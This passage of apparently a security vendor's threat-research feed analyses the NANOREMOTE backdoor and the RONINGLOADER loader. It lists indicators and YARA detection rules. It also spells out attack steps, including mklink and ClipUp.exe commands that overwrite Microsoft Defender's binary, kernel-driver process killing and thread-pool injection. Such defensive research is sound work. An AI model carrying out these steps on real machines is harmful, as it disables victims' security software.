<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image4.png" alt="Upload transfer paused" /></p>
<h5>Handler #19 - Resume download/upload transfer</h5>
<p>This handler allows the operator to resume any paused download or upload tasks managed by NANOREMOTE using the task_id.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image24.png" alt="Upload transfer resumed" /></p>
<h5>Handler #20 - Cancel file transfer</h5>
<p>This handler allows the operator to cancel any download/upload tasks managed by NANOREMOTE through the task_id.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image13.png" alt="Cancelled transfer" /></p>
<h5>Handler #21 - Command Execution</h5>
<p>This is the main handler used by the adversary for command execution on the victim machine. It works by spawning new processes and returning the output through Windows pipes. This is a core feature found in most backdoors used by adversaries for direct access to enumerate the environment, perform lateral movement, and execute additional payloads.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image36.png" alt="Command execution" /></p>
<p>The figure below shows NANOREMOTE’s process tree when this handler is invoked. The malware spawns cmd.exe, which in turn launches the specified command—in this case, whoami.exe.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image41.png" alt="Command execution process tree" /></p>
<h5>Handler #22 - Execute encoded PE from memory</h5>
<p>This handler loads and executes a Base64 encoded PE file inside the existing NANOREMOTE process. The encoded PE file is provided by the C2 server using the pe_data field. If the program requires command-line arguments, the key (arguments) is used.</p>
<p>Below is an example showing the console output using test program:</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image1.png" alt="Load and execute encoded PE from memory" /></p>
<h2>Similarity to FinalDraft</h2>
<p>There is overlap between FINALDRAFT and NANOREMOTE from both code similarity and behavioral perspectives.</p>
<p>Many functions exhibit clear code re-use across the two implants. For example, both follow the same sequence of generating a GUID via CoCreateGuid, hashing it with the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler-Noll-Vo (FNV)</a> function and performing identical heap-validation checks before freeing the buffer.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image12.png" alt="GUID/FNV - Code comparison between NANOREMOTE and FINALDRAFT" /></p>
<p>A good portion of the HTTP-related code used to send and receive requests suggests similarity as well. Below is an example of a control flow-graph showing the setup/configuration of an HTTP request used by both malware families.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image22.png" alt="HTTP Request Setup - CFG comparison between NANOREMOTE and FINALDRAFT" /></p>
<p>During our analysis, we observed that the WMLOADER decrypts the corresponding payload from a hard-coded file named wmsetup.log – the same file name that was used by PATHLOADER to deploy FINALDRAFT that we <a href="https://www.elastic.co/pt/security-labs/fragile-web-ref7707">published</a> earlier in the year.</p>
<p>Another interesting finding is that we discovered a <a href="https://www.virustotal.com/gui/file/a0b0659e924d7ab27dd94f111182482d5c827562d71f8cafc2c44da2e549fe61/telemetry">sample</a> (wmsetup.log) from VirusTotal that was recently uploaded from the Philippines on 2025-10-03.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image11.png" alt="VirusTotal file submission for wmsetup.log in October 2025" /></p>
<p>We downloaded the file, placed it alongside WMLOADER, then executed the loader. It successfully decrypted the <code>wmsetup.log</code> file, revealing a FINALDRAFT implant.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image44.png" alt="YARA showing FINALDRAFT from wmsetup.log" /></p>
<p>Below is a side-by-side graphic showing the same AES key is used to successfully decrypt both FINALDRAFT and NANOREMOTE.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image39.png" alt="Same AES used to decrypt both NANOREMOTE and FINALDRAFT" /></p>
<p>Our hypothesis is that WMLOADER uses the same hard-coded key due to being part of the same build/development process that allows it to work with various payloads. It’s not clear why the threat group behind these implants are not rotating the key, it’s possibly due to convenience or testing. This appears to be another strong signal suggesting a shared codebase and development environment between FINALDRAFT and NANOREMOTE.</p>
<h2>NANOREMOTE through MITRE ATT&amp;CK</h2>
<p>Elastic uses the <a href="https://attack.mitre.org/">MITRE ATT&amp;CK</a> framework to document common tactics, techniques, and procedures that threats use against enterprise networks.</p>
<h3>Tactics</h3>
<p>Tactics represent the why of a technique or sub-technique. It is the adversary’s tactical goal: the reason for performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/tactics/TA0009/">Collection</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0011/">Command and Control</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0005/">Defense Evasion</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0007/">Discovery</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0002/">Execution</a></li>
<li><a href="https://attack.mitre.org/tactics/TA0010/">Exfiltration</a></li>
</ul>
<h3>Techniques</h3>
<p>Techniques represent how an adversary achieves a tactical goal by performing an action.</p>
<ul>
<li><a href="https://attack.mitre.org/techniques/T1087/">Account Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1680/">Local Storage Discovery</a></li>
<li><a href="https://attack.mitre.org/techniques/T1567/002/">Exfiltration Over Web Service: Exfiltration to Cloud Storage</a></li>
<li><a href="https://attack.mitre.org/techniques/T1036/001/">Masquerading: Invalid Code Signature</a></li>
<li><a href="https://attack.mitre.org/techniques/T1059/003/">Command and Scripting Interpreter: Windows Command Shell</a></li>
</ul>
<h2>Mitigating NANOREMOTE</h2>
<p>Within a lab environment executing NANOREMOTE, there were many different alerts triggered using <a href="https://www.elastic.co/pt/security/xdr">Elastic Defend</a>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image6.png" alt="Alert listing" /></p>
<p>One of the main behaviors to validate for defenders is the abuse of using legitimate services such as Google Drive API. Below is an example alert triggered with the Connection to Commonly Abused Webservices rule when interacting with the Google API for both the download and upload of files using NANOREMOTE.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image34.png" alt="Connection to Commonly Abused Webservices" /></p>
<p>The PE loading technique using the Base64 encoded file from the C2 server was also detected via <code>Memory Threat Detection Alert: Shellcode Injection</code> alert.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/image10.png" alt="" /></p>
<h3>Detection/Prevention</h3>
<ul>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_with_hardware_breakpoints.toml">Potential Evasion with Hardware Breakpoints</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_invalid_code_signature.toml">Potential Evasion via Invalid Code Signature</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_unbacked_shellcode_from_unsigned_module.toml">Unbacked Shellcode from Unsigned Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_shellcode_execution_from_low_reputation_module.toml">Shellcode Execution from Low Reputation Module</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_image_hollow_from_unusual_stack.toml">Image Hollow from Unusual Stack</a></li>
<li><a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/command_and_control_connection_to_webservice_by_an_unsigned_binary.toml">Connection to Commonly Abused Webservices</a></li>
<li>Memory Threat Detection Alert: Shellcode Injection</li>
</ul>
<h3>YARA</h3>
<p>Elastic Security has created YARA rules to identify this activity.</p>
<pre><code>rule Windows_Trojan_NanoRemote_7974c813 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-11-17&quot;
        last_modified = &quot;2025-11-19&quot;
	 license = &quot;Elastic License v2&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.NanoRemote&quot;

    strings:
        $str1 = &quot;/drive/v3/files/%s?alt=media&quot; ascii fullword
        $str2 = &quot;08X-%04X-%04x-%02X%02X-%02X%02X%02X%02X%02X%02X&quot; ascii fullword
        $str3 = &quot;NanoRemote/&quot; wide
        $str4 = &quot;[+] pwd output:&quot; wide
        $str5 = &quot;Download task %s failed: write error (wrote %llu/%zu bytes)&quot;
        $seq1 = { 48 83 7C 24 28 00 74 ?? 4C 8D 4C 24 20 41 B8 40 00 00 00 BA 00 00 01 00 48 8B 4C 24 28 FF 15 ?? ?? ?? ?? 85 C0 }
        $seq2 = { BF 06 00 00 00 89 78 48 8B 0D ?? ?? ?? ?? 89 48 ?? FF D3 89 78 78 8B 0D ?? ?? ?? ?? 89 48 7C FF D3 89 78 18 8B 0D }
    condition:
        4 of them
}
</code></pre>
<pre><code>rule Windows_Trojan_WMLoader_d2c7b963 {
    meta:
        author = &quot;Elastic Security&quot;
        creation_date = &quot;2025-12-03&quot;
        last_modified = &quot;2025-12-03&quot;
       license = &quot;Elastic License v2&quot;
        os = &quot;Windows&quot;
        arch = &quot;x86&quot;
        threat_name = &quot;Windows.Trojan.WMLoader&quot;
        reference_sample = &quot;fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902&quot;

    strings:
        $seq1 = { 8B 44 24 20 FF C0 89 44 24 20 81 7C 24 20 01 30 00 00 }
        $seq2 = { 41 B8 20 00 00 00 BA 01 30 00 00 48 8B 4C C4 50 FF 15 }
    condition:
        all of them
}
</code></pre>
<h2>Observations</h2>
<p>The following observables were discussed in this research.</p>
<table>
<thead>
<tr>
<th align="left">Observable</th>
<th align="left">Type</th>
<th align="left">Name</th>
<th align="left">Reference</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left">fff31726d253458f2c29233d37ee4caf43c5252f58df76c0dced71c4014d6902</td>
<td align="left">SHA-256</td>
<td align="left">BDReinit.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">999648bd814ea5b1e97918366c6bd0f82b88f5675da1d4133257b9e6f4121475</td>
<td align="left">SHA-256</td>
<td align="left">ASDTool.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">35593a51ecc14e68181b2de8f82dde8c18f27f16fcebedbbdac78371ff4f8d41</td>
<td align="left">SHA-256</td>
<td align="left">mitm_install_tool.exe</td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">b26927ca4342a19e9314cf05ee9d9a4bddf7b848def2db941dd281d692eaa73c</td>
<td align="left">SHA-256</td>
<td align="left"><a href="https://www.virustotal.com/gui/search/name%253A%2522BDReinit.exe%2522">BDReinit.exe</a></td>
<td align="left">WMLOADER</td>
</tr>
<tr>
<td align="left">57e0e560801687a8691c704f79da0c1dbdd0f7d5cc671a6ce07ec0040205d728</td>
<td align="left">SHA-256</td>
<td align="left">NANOREMOTE</td>
<td align="left"></td>
</tr>
</tbody>
</table>
]]></content:encoded>
            <category>security-labs</category>
            <enclosure url="https://www.elastic.co/pt/security-labs/assets/images/nanoremote/Security Labs Images 27.jpg" length="0" type="image/jpg"/>
        </item>
        <item>
            <title><![CDATA[RONINGLOADER: DragonBreath’s New Path to PPL Abuse]]></title>
            <link>https://www.elastic.co/pt/security-labs/roningloader</link>
            <guid>roningloader</guid>
            <pubDate>Sat, 15 Nov 2025 00:00:00 GMT</pubDate>
            <description><![CDATA[Elastic Security Labs uncovers RONINGLOADER, a multi-stage loader deploying DragonBreath’s updated gh0st RAT variant. The campaign weaponizes signed drivers, thread-pool injection, and PPL abuse to disable Defender and evade Chinese EDR tools.]]></description>
            <content:encoded><![CDATA[<h2>Introduction</h2>
<p>Elastic Security Labs identified a recent campaign distributing a modified variant of the gh0st RAT, attributed to the Dragon Breath APT (APT-Q-27), through trojanized NSIS installers masquerading as legitimate software such as Google Chrome and Microsoft Teams. The infection chain employs a multi-stage delivery mechanism that leverages various evasion techniques, with many redundancies aimed at neutralising endpoint security products popular in the Chinese market. These include bringing a legitimately signed driver, deploying custom <a href="https://learn.microsoft.com/en-us/hololens/windows-defender-application-control-wdac">WDAC</a> policies, and tampering with the Microsoft Defender binary through PPL abuse.</p>
<p>This campaign primarily targets Chinese-speaking users and demonstrates a clear evolution in adaptability compared to earlier DragonBreath-related campaigns documented in 2022-2023. Through this report, we hope to raise awareness of new techniques this malware is starting to implement and to shine a light on a unique loader we are naming RoningLoader.</p>
<h3>Key takeaways</h3>
<ul>
<li>The malware employs an abuse of Protected Process Light (PPL) to disable Windows Defender</li>
<li>Threat actors leverage a valid, signed kernel driver to kill processes</li>
<li>Custom unsigned WDAC policy applied to block 360 Total Security and Huorong executables</li>
<li>Phantom DLLs and payload injection via thread pools for further antivirus process termination</li>
<li>Final payload has minor updates and is associated with DragonBreath</li>
</ul>
<h2>Discovery</h2>
<p>In August 2025, <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">research</a> was published detailing a method to abuse Protected Process Light (PPL) to disable endpoint security tooling. Following this disclosure, we produced a behavioral rule, <a href="https://github.com/elastic/protections-artifacts/blob/main/behavior/rules/windows/defense_evasion_potential_evasion_via_clipup_execution.toml">Potential Evasion via ClipUp Execution</a>, and, after some threat hunting of telemetry data, we identified a live campaign employing the technique.</p>
<h2>RONINGLOADER code analysis</h2>
<p>The <a href="https://www.virustotal.com/gui/file/da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b/detection">initial infection vector</a> is a Windows Installer package (MSI). Upon execution, the MSI functions as a dropper, extracting two embedded <a href="https://nsis.sourceforge.io/Main_Page">Nullsoft Scriptable Install System (NSIS)</a> installers. NSIS is a legitimate, open-source tool for creating Windows installers, but it is frequently abused by threat actors to package and deliver malware, as seen in <a href="https://www.elastic.co/pt/security-labs/getting-gooey-with-guloader-downloader">GULOADER</a>. In this campaign, we have observed the malicious installers being distributed under various themes, masquerading as legitimate software such as Google Chrome, Microsoft Teams, or other trusted applications to lure users into executing them.</p>
<p>One of the nested NSIS installers is benign and installs the legitimate software, while the second is malicious and responsible for deploying the attack chain.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image40.png" alt="RONINGLOADER Execution flow" title="RONINGLOADER Execution flow" /></p>
<p>The attack chain leverages a signed driver named <code>ollama.sys</code> for antivirus process termination. The driver has a signer name of <code>Kunming Wuqi E-commerce Co., Ltd.</code>, with a certificate valid from February 3, 2025, to February 3, 2026. Pivoting on VirusTotal revealed 71 additional signed binaries. Among these, we identified AgentTesla droppers masquerading as <code>慕讯公益加速器 (MuXunAccelerator)</code>, a gaming-focused VPN software popular among Chinese users, with samples dating back to April 2025. Notably, the signing techniques vary across samples. Some earlier samples, like <a href="https://www.virustotal.com/gui/file/507e41a0831a8f3a81f2cd6be76ea4d757f463524f6c93bba15d47984f9e29c1/details"><code>inject.sys</code></a>, contain <a href="https://github.com/Jemmy1228/HookSigntool"><code>HookSignTool</code></a> artifacts including the string <code>JemmyLoveJenny</code>, while the October 2025 <code>ollama.sys</code> sample shows no such artifacts and uses standard signing procedures, yet both share the same certificate validity period.</p>
<p>Comparing <code>ollama.sys</code>’s PDB string artifact <code>D:\VS_Project\加解密\MyDriver1\x64\Release\MyDriver1.pdb</code> with other samples, we discovered different artifacts from other submitted samples -</p>
<ul>
<li><code>D:\cpp\origin\ConsoleApplication2\x64\Release\ConsoleApplication2.pdb</code></li>
<li><code>D:\a_work\1\s\artifacts\obj\coreclr\windows.x86.Release\Corehost.Static\singlefilehost.pdb</code></li>
<li><code>C:\Users\0\Desktop\EAMap\x64\Release\ttt.pdb</code></li>
<li><code>h:\projects\netfilter3\bin\Release\Win32\nfregdrv.pdb</code></li>
</ul>
<p>Due to the diversity of binaries and the large volume of submissions, we suspect the certificate may have been leaked, but this is speculation at this time.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image35.png" alt="Digital signature of the driver" title="Digital signature of the driver" /></p>
<h3>Stage 1</h3>
<p>Our analysis began with the initial binary, identified by its SHA256 hash: <code>da2c58308e860e57df4c46465fd1cfc68d41e8699b4871e9a9be3c434283d50b</code>. Extracting it reveals two embedded executables: a benign installer, <code>letsvpnlatest.exe</code>, and the malicious installer <code>Snieoatwtregoable.exe</code>.</p>
<p>The malicious installer, <code>Snieoatwtregoable.exe</code>, creates a new directory at <code>C:\Program Files\Snieoatwtregoable\</code>. Within this folder, it drops two files: a DLL named <code>Snieoatwtregoable.dll</code> and an encrypted file, <code>tp.png</code>.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image10.png" alt="Files dropped on disk" title="Files dropped on disk" /></p>
<p>The core of the malicious activity resides within <code>Snieoatwtregoable.dll</code>, which exports a single function: <code>DllRegisterServer</code>. When invoked, this function reads the contents of the <code>tp.png</code> file from disk, then decrypts this data using a simple algorithm involving both a Right Rotate (ROR) and an XOR operation.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image37.png" alt="XOR decryption routine" title="XOR decryption routine" /></p>
<p>The decrypted content is shellcode that reflectively loads and executes a PE file in memory. The malware first allocates a new memory region within its own process using the <code>NtAllocateVirtualMemory</code> API, then creates a new thread to execute the shellcode by calling <code>NtCreateThreadEx</code>.</p>
<p>The malware attempts to remove any userland hooks by loading a fresh new <code>ntdll.dll</code>, then using <code>GetProcAddress</code> with the API name to resolve the addresses.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image32.png" alt="Loads a fresh NTDLL" title="Loads a fresh NTDLL" /></p>
<p>The malware attempts to connect to localhost on port <code>5555</code> without serving any real purpose, as the result will not matter; speculatively, this is likely dead code or pre-production leftover code</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image13.png" alt="Dead code" title="Dead code" /></p>
<h3>Stage 2 - tp.png</h3>
<p>RONINGLOADER first checks whether it has administrative privileges using the <code>GetTokenInformation</code> API. If not, it attempts to elevate its privileges by using the <code>runas</code> command to launch a new, elevated instance of itself before terminating the original process.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image31.png" alt="Elevates privileges with RunAs command" title="Elevates privileges with RunAs command" /></p>
<p>Interestingly, the malware tries to communicate with a hardcoded URL <a href="http://www.baidu.com/"><code>http://www.baidu.com/</code></a> with the user-agent <code>“Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko”</code>, but this appears to be dead code, likely due to either a removed feature or placeholder code for future versions. It is designed to extract and log the HTTP response header date from the URL.</p>
<p>The malware then scans a list of running processes for specific antivirus solutions. It checks against a hardcoded list of process names and sets a corresponding boolean flag to &quot;True&quot; if any are found.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image11.png" alt="Scans for specific processes" title="Scans for specific processes" /></p>
<p>The following is a table of processes and the associated security products hardcoded in the binary:</p>
<table>
<thead>
<tr>
<th align="left">Process name</th>
<th align="left">Security Product</th>
</tr>
</thead>
<tbody>
<tr>
<td align="left"><code>MsMpEng.exe</code></td>
<td align="left">Microsoft Defender Antivirus</td>
</tr>
<tr>
<td align="left"><code>kxemain.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxetray.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>kxecenter.exe</code></td>
<td align="left">Kingsoft Internet Security</td>
</tr>
<tr>
<td align="left"><code>QQPCTray.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QQPCRTP.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>QMToolWidget.exe</code></td>
<td align="left">Tencent PC Manager</td>
</tr>
<tr>
<td align="left"><code>HipsTray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsDaemon.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>HipsMain.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
<tr>
<td align="left"><code>360tray.exe</code></td>
<td align="left">Qihoo 360 Total Security</td>
</tr>
</tbody>
</table>
<h4>AV process termination via injected remote process</h4>
<p>Next, the malware kills those processes. Interestingly, the Qihoo 360 Total Security product takes a different approach than the others.</p>
<p>First, it blocks all network communication by changing the firewall. It then calls a function to inject shellcode into the process (<code>vssvc.exe</code>) associated with the Volume Shadow Copy (VSS) service.<br />
It first grants itself the high integrity <code>SeDebugPrivilege</code> token.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image2.png" alt="Grants SeDebugPrivilege to itself" title="Grants SeDebugPrivilege to itself" /></p>
<p>It then starts the <a href="https://learn.microsoft.com/en-us/windows-server/storage/file-server/volume-shadow-copy-service">VSS (Volume Shadow Copy Service)</a> if it is not already running and fetches the PID of its associated process (vssvc.exe).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image26.png" alt="Starts VSS service" title="Starts VSS service" /></p>
<p>Next, the malware uses <code>NtCreateSection</code> to create two separate memory sections. It then maps views of these sections into the memory space of the vssvc.exe process. The first section contains a full Portable Executable (PE) file, which is a driver with the device name <code>\\.\Ollama</code>. The second section contains shellcode intended for execution.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image15.png" alt="Mapping section views to the remote process" title="Mapping section views to the remote process" /></p>
<p>RONINGLOADER takes a different approach to this process injection compared to other injection methods used elsewhere in the malware. This technique leverages the thread pool to remotely execute code via a file write trigger in the remote process. This technique was documented <a href="https://www.safebreach.com/blog/process-injection-using-windows-thread-pools/">by SafeBreach</a> in 2023 with different variants.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image5.png" alt="Injection through ThreadPool tasks" title="Injection through ThreadPool tasks" /></p>
<p>Once executed, the shellcode begins by dynamically resolving the addresses of the Windows APIs it needs to function. This is the only part of RONINGLOADER that employs any obfuscation, using the <a href="https://en.wikipedia.org/wiki/Fowler%E2%80%93Noll%E2%80%93Vo_hash_function">Fowler–Noll–Vo hash</a> (FNV) algorithm to look up functions by hash instead of by name.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image25.png" alt="FNV algorithm instructions" title="FNV algorithm instructions" /></p>
<p>It first fetches the addresses of <code>CreateFileW</code>, <code>WriteFile</code>, and <code>CloseHandle</code> to write the driver to disk to a hardcoded path, <code>C:\windows\system32\drivers\1912763.temp</code>.</p>
<p>Then it performs the following operations:</p>
<ul>
<li>Create a service named <code>xererre1</code> to load the driver dropped to disk</li>
<li>For each of the following processes (<code>360Safe.exe</code>, <code>360Tray.exe</code>, and <code>ZhuDongFangYu.exe</code>), which are all associated with Qihoo 360 software, it calls 2 functions: one to find the PID of the process by name, followed by a function to kill the process by PID</li>
<li>It then stops and deletes the service <code>xererre1</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image27.png" alt="Function calls to kill Qihoo 360 software processes" title="Function calls to kill Qihoo 360 software processes" /></p>
<p>To kill a process, the malware uses the driver. An analysis of the driver reveals that it registers only 1 functionality: it handles one IOCTL ID (<code>0x222000</code>) that takes a PID as a parameter and kills the process by first opening it with <code>ZwOpenProcess</code>, then terminating it with <code>ZwTerminateProcess</code> kernel APIs.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image1.png" alt="Kernel driver kills a process by PID" title="Kernel driver kills a process by PID" /></p>
<h4>AV process termination</h4>
<p>Returning to the main execution flow, the malware enters a loop to confirm the termination of <code>360tray.exe</code>, as handled by the shellcode injected into the VSS service. It proceeds only after verifying that the process is no longer running. Immediately after this confirmation, the system restores its firewall settings. This action is likely a defensive measure intended to sever the software's communication channel, preventing it from uploading final activity logs or security alerts to its backend services.</p>
<p>It then terminates the other security processes directly from its main process. Notably, it makes no attempt to hide these actions, abandoning the earlier API hashing technique and calling the necessary functions directly.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image29.png" alt="Function calls to kill the rest of the security solutions" title="Function calls to kill the rest of the security solutions" /></p>
<p>RONINGLOADER follows a consistent, repeatable procedure to terminate its target processes:</p>
<ul>
<li>First, it writes the malicious driver to disk, this time to the temporary path <code>C:\Users\analysis\AppData\Local\Temp\ollama.sys.</code></li>
<li>A temporary service (<code>ollama</code>) is created to load <code>ollama.sys</code> into the kernel</li>
<li>The malware then fetches the target process's PID by name and sends a request containing the PID to its driver to perform the termination.</li>
<li>Immediately after the kill command is sent, the service is deleted.</li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image6.png" alt="Write driver, create service, start service" title="Write driver, create service, start service" /></p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image22.png" alt="Kill by PID and delete the service afterwards" title="Kill by PID and delete the service afterwards" /></p>
<p>Regarding Microsoft Defender, the malware attempts to kill the <code>MsMpEng.exe</code> process using the same approach described above. We noticed a code bug from the author: for Microsoft Defender, the code does not check whether Defender is already running, but proceeds directly to searching for the <code>MsMpEng.exe</code> process. This means that if the process is not running, the malware will send 0 as the PID to the driver.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image23.png" alt="Microsoft Defender process killing" title="Microsoft Defender process killing" /></p>
<p>The malware has more redundant code to kill security solution processes. It also injects another shellcode into svchost.exe, similar to what was injected into <code>vssvc.exe</code>, but the list of processes is different, as seen in the screenshot below.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image12.png" alt="Redundant code to kill security processes" title="Redundant code to kill security processes" /></p>
<p>The injection technique also uses threadpools, but the injected code is triggered by an event.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image39.png" alt="ThreadPool injection with an event as a trigger" title="ThreadPool injection with an event as a trigger" /></p>
<p>After the process termination, the malware creates 4 folders</p>
<ul>
<li><code>C:\ProgramData\lnk</code></li>
<li><code>C:\ProgramData\&lt;current_date&gt;</code></li>
<li><code>C:\Users\Public\Downloads\&lt;current_date&gt;</code></li>
<li><code>C:\ProgramData\Roning</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image20.png" alt="Folder creation to drop files" title="Folder creation to drop files" /></p>
<h4>Embedded archives</h4>
<p>The malware then writes three <code>.txt</code> files to <code>C:\Users\Public\Downloads\&lt;current_date&gt;</code>. Despite their extension, these are not text files but rather containers built with a specific format, likely adapted from another code base.<br />
This custom file structure is organized as follows:</p>
<ul>
<li><strong>Magic Bytes:</strong> The file begins with the signature <code>4B 44 01 00</code> for identification.</li>
<li><strong>File Count:</strong> This is immediately followed by a value indicating the number of files encapsulated within the container.</li>
<li><strong>File Metadata:</strong> A header section then describes the information for each stored file.</li>
<li><strong>Compressed Data:</strong> Finally, each embedded file is stored in a ZLIB-compressed data block.</li>
</ul>
<p>Here’s an example file format for the <code>hjk.txt archive</code>, which contains 2 files: <code>1.bat</code> and <code>fhq.bat</code>.<br />
This archive format applies to 2 other embedded files in the current stage:</p>
<ul>
<li><code>agg.txt</code>, which contains 3 files - <code>Enpug.bin</code>, <code>goldendays.dll</code>, and <code>trustinstaller.bin</code></li>
<li><code>kill.txt</code>, which contains 1 file - <code>1.dll</code></li>
</ul>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image7.png" alt="Archive format for hjk.txt" title="Archive format for hjk.txt" /></p>
<h4>Batch scripts to bypass UAC and AV networking</h4>
<p><code>1.bat</code> is a simple batch script that disables User Account Control (UAC) by setting the <code>EnableLUA</code> registry value to 0.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image28.png" alt="1.bat content" title="1.bat content" /></p>
<p><code>fhq.bat</code> is another batch script that targets the program defined in <code>C:\ProgramData\lnk\123.txt</code> and the Qihoo 360 security software (360Safe.exe) by creating firewall rules that block inbound and outbound connections to them. It also disables firewall notifications across all profiles.</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image14.png" alt="fhq.bat content" title="fhq.bat content" /></p>
<h4>AV process termination via Phantom DLL</h4>
<p>The deployed DLL, <code>1.dll</code>, is copied to <code>C:\Windows\System32\Wow64\Wow64Log.dll</code> to be side-loaded by any WOW64 processes, as <code>Wow64Log.dll</code> is a <a href="https://hijacklibs.net/entries/microsoft/built-in/wow64log.html">phantom DLL</a> that is not present on Windows machines by default. Its task is redundant, essentially attempting to kill a list of processes using standard Windows APIs (<code>TerminateProcess</code>).</p>
<p><img src="https://www.elastic.co/pt/security-labs/assets/images/roningloader/image24.png" alt="Wow64Log.dll Dllmain code" title="Wow64Log.dll Dllmain code" /></p>
<h4>ClipUp MS Defender killer</h4>
<p>The malware then attempts to use a PPL abuse technique documented by <a href="https://www.zerosalarium.com/2025/08/countering-edrs-with-backing-of-ppl-protection.html">Zero Salarium</a> in August 2025. The article’s PoC targets Microsoft Defender only. Note that all of the system commands executed are through <code>cmd.exe</code> with the <code>ShellExecuteW</code> API</p>
<ul>
<li>It searches for Microsoft Defender's installation folder under <code>C:\ProgramData\Microsoft\Windows Defender\Platform\*</code>, targeting only the directory with the most recent modification date, which indicates the currently used version</li>
<li>Create a folder <code>C:\ProgramData\roming</code> and a directory link with <code>mklink</code> to point to the directory found with the following command: <code>cmd.exe /c mklink /D &quot;C:\ProgramData\roming&quot; “C:\ProgramData\Microsoft\Windows Defender\Platform\4.18.25050.5-0”</code></li>
<li>It then runs <code>C:\Windows\System32\ClipUp.exe</code> with the following parameter: <code>-ppl C:\ProgramData\roming\MsMpEng.exe</code>, which overwrites <code>MsMpEng.exe</code> with junk data, effectively disabling the EDR even after a restart</li>
</ul>
<p>The author appears to have copied code from <a href="https://github.com/TwoSevenOneT/EDR-Freeze/blob/ceffd5ea7b813b356c77d469561dbb5ee45aeb24/PPLHelp.cpp#L43">EDR-Freeze</a> to start <code>ClipUp.exe</code>.</p>
